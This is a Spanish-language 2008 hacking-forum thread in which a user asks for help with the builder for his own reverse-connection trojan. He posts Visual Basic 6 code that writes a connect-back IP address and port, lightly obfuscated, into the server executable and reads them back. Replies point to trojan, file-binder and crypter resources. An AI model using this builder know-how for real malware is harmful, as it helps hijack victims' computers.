Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: aaronduran2 en 17 Septiembre 2008, 22:49 PM

Título: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 17 Septiembre 2008, 22:49 PM
Hola. Estoy diseñando el editor de servidor de mi troyano. Al ser de conexión inversa, en el servidor tiene que figurar la dirección IP y el puerto al que se debe conectar. Utilizo este código para crearlo:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //CargarRes//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Extraer archivo de los recursos.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Public Sub CargarRes(NumRES As Integer, RutaCopy As String)
    Dim File() As Byte
    If Dir(RutaCopy) = "" Then
        File = LoadResData(NumRES, "CUSTOM")
        Open RutaCopy For Binary Access Write As #1
            Put #1, , File
        Close #1
    End If
End Sub

'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //cmdCrearServidor_Click//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Private Sub cmdCrearServidor_Click()
    If txtPuerto.Text > 65535 Then
        MsgBox "El puerto debe ser inferior a 65535"
        Exit Sub
    End If
    cd.Filter = "Archivos ejecutables|*.exe"
    cd.DialogTitle = "Generar servidor..."
    cd.ShowSave
    Ruta = cd.FileName
    Call CargarRes(102, cd.FileName)
    Open Ruta For Binary As #1
        Put #1, LOF(1) + 1, txtDireccionIP.Text
        Put #1, , "|"
        Put #1, , txtPuerto.Text
    Close #1
End Sub


Y este es el que lee los datos:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //LeerDatos//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Leer datos del servidor.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Dim DireccionIP As String * 15
Dim Puerto As String * 5
Dim Secuencia As String * 30

Public Function LeerDatos()
    Dim Secuencia As String * 30
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        Get #1, LOF(1) - 34, DireccionIP
        Get #1, , Secuencia
        Get #1, , Puerto
    Close #1
    MsgBox DireccionIP & "|" & Puerto
End Function


Pero no soy capaz de hacer que lea los datos. La caja de mensaje me aparece vacía. ¿Alguien me puede decir como lo hago?

Gracias de antemano.
Título: Re: Obtener datos de un ejecutable
Publicado por: cobein en 18 Septiembre 2008, 13:00 PM
Yo deje u code hace unos dias, miralo que ahi tenes la respuesta

http://foro.elhacker.net/programacion_vb/cryptosy_src-t227118.0.html

Sino busca que hay muuuuchos ejemplos de como hacerlo, por lo pronto te digo que parece que estas pisando los datos.
Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 15:52 PM
Estuve probando con tu ejemplo pero el ejecutable final me queda inservible. Lo que necesito es guardar la dirección IP, un separador (por ejemplo "|") y el puerto, y luego que el servidor se lea a sí mismo y obtenga los datos. Pero no soy capaz.

Saludos.
Título: Re: Obtener datos de un ejecutable
Publicado por: yovaninu en 18 Septiembre 2008, 17:19 PM
Uff que recuerdo de mi primer Joinner, y aun lo sigo usando he! un poco mejorado claro, echale un vistazo se que lo entenderas, aqui esta el viejo post

http://foro.elhacker.net/programacion_vb/mi_primer_troyano_en_vb60-t170445.0.html;msg825373#msg825373
Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 17:59 PM
@yovaninu

No soy capaz de hacerlo funcionar. Siempre me muestra datos equivocados. Probé a quitarle la cifrado y también falla. Si tuvieses un ejemplo sencillo, te lo agradecería.

Saludos.
Título: Re: Obtener datos de un ejecutable
Publicado por: yovaninu en 18 Septiembre 2008, 20:30 PM
Cita de: aaronduran2 en 18 Septiembre 2008, 17:59 PM
@yovaninu

No soy capaz de hacerlo funcionar. Siempre me muestra datos equivocados. Probé a quitarle la cifrado y también falla. Si tuvieses un ejemplo sencillo, te lo agradecería.

Saludos.
si dices el error, de seguro que lo solucionamos

lo de la mini encriptacion es simple, no le afecta en nada, no deberias tener problemas con ese codigo
Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 20:33 PM
A ver, tengo dos campos de texto con la dirección IP y el puerto y utilizo el siguiente código:
Código (vb) [Seleccionar]
Private Sub cmdCrearServidor_Click()
    Dim TamañoIP As String, TamañoPuerto As String, TamañoFirma As String, TamañoTotal As String
    Dim DatosEncriptados As String
    If txtPuerto.Text > 65535 Then
        MsgBox "El puerto debe ser inferior a 65535"
        Exit Sub
    End If
    cd.Filter = "Archivos ejecutables|*.exe"
    cd.DialogTitle = "Generar servidor..."
    cd.ShowSave
    Ruta = cd.FileName
    Call CargarRes(102, cd.FileName)
    DireccionIP = txtIP.Text
    Puerto = txtPuerto.Text
    Firma = "Editado"
    DatosEncriptados = Trim$(Puerto) & "|" & Trim$(DireccionIP) & "|" & Trim$(Firma) & "|"
    DatosEncriptados = cifrar(DatosEncriptados)
    TamañoIP = Len(DireccionIP): TamañoPuerto = Len(Puerto): TamañoFirma = Len(Firma)
    TamañoTotal = TamañoIP + TamañoPuerto + TamañoFirma
    Open Ruta For Binary As #1
        Seek (1), LOF(1) + 1
        Put #1, , DatosEncriptados & Trim(Str(TamañoTotal))
    Close #1
End Sub


Y en el servidor tengo esto:

Código (vb) [Seleccionar]
Public Function LeerDatos()
    Dim DatosLeer As String
    Dim DatosSeparados As Variant
    Dim DatosDesencriptados As String
    Dim nd, nd1 As String
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2
        DatosLeer = Input(LOF(2), #2)
    Close #2
    MsgBox DatosLeer
    nd = Right(DatosLeer, 2)
    MsgBox nd
    nd1 = Right(DatosLeer, Val(nd) + 5)
    MsgBox nd1
    DatosDesencriptados = descifrar(nd1)
    DatosSeparados = Split(DatosDesencriptados, "|")
    DireccionIP = DatosSeparados(0)
    Puerto = Val(DatosSeparados(1))
End Function


Puse MsgBox nd y MsgBox nd1 para ver lo que mostraba antes de hacer el proceso completo. No me funciona. Espero poder solucionarlo. Además, quería añadirles más cosas para guardar en el ejecutable, como el tipo de inicio, etc...

Saludos.
Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 22:59 PM
Yo había hecho este código, pero el servidor no me lee nada.

En el editor:

Código (vb) [Seleccionar]
Open Ruta For Binary As #1
    Put #1, LOF(1) + 1, "|" & DireccionIP & "|" & Puerto
    Put #1, , Secuencia
Close #1


En el servidor:

Código (vb) [Seleccionar]
Dim Datos As String
Dim DatosSeparados As Variant
Dim Secuencia As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    Get #1, LOF(1), Datos
    Get #1, , Secuencia
Close #1


Los datos están cifrados. Accedo con el Hex Workshop al archivo creado y veo los datos, pero después no soy capaz de hacer que el servidor los lea. Si alguien me puede ayudar...

Saludos.
Título: Re: Obtener datos de un ejecutable
Publicado por: cobein en 19 Septiembre 2008, 01:24 AM
Asi no vas a llegar muy lejos, mejor lee un manual de como leer y escribir archivos.
Título: Re: Obtener datos de un ejecutable
Publicado por: s E t H en 19 Septiembre 2008, 02:29 AM
probaste usar el debuguer de vb6?

creo que al leer con "    Get #1, LOF(1), Datos" lees todo el archivo, y en Secuencia no te queda nada.. debuguea y fijate
Título: Re: Obtener datos de un ejecutable
Publicado por: yovaninu en 19 Septiembre 2008, 04:10 AM
estas probando con los ejecutables verdad? no vaya ser que estes probando desde el IDE de BAsic

y otra cosa, estas poniendo tu funcion leerdatos en el load del form?

y respecto a la encriptacion no es nada ni siquiera deberia llamarse encriptacion es solo el reemplazo de unos caracteres por otro, debe haber una mejor forma de encripatr los datos adjuntos, es mas ni siquiera necesitabas el Hex workshop para verlos simplemente abre el ejecutable con el bloc de notas y veras los datos adjuntos.

Si subes tu proyecto y ahi te ayudamos?

Un saludo.
Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 19 Septiembre 2008, 08:11 AM
Había hecho lo mismo con otro proyecto y no me fallaba, así que no sé por qué ahora no me funciona. Intentaré solucionarlo, gracias.

Saludos.
Título: Re: Obtener datos de un ejecutable
Publicado por: krackwar en 19 Septiembre 2008, 08:52 AM
Cita de: aaronduran2 en 19 Septiembre 2008, 08:11 AM
Había hecho lo mismo con otro proyecto y no me fallaba, así que no sé por qué ahora no me funciona. Intentaré solucionarlo, gracias.

Saludos.
NO hagas doble post , no hagas preguntas que ya se an hecho , busca en el foro que en un post con chincheta esta el link de un editor de server 100% funcional.
Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 19 Septiembre 2008, 15:06 PM
¿Dónde hice doble post? Yo no lo veo.
Título: Re: Obtener datos de un ejecutable
Publicado por: krackwar en 19 Septiembre 2008, 20:09 PM
Cita de: aaronduran2 en 19 Septiembre 2008, 15:06 PM
¿Dónde hice doble post? Yo no lo veo.

    Re: Obtener datos de un ejecutable
« Respuesta #7 en: Ayer a las 22:59 »

    Re: Obtener datos de un ejecutable
« Respuesta #6 en: Ayer a las 20:33 »
Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 19 Septiembre 2008, 20:26 PM
El primero era un código que había posteado yovaninu, y el segundo era el que había puesto yo en mi código.

Saludos.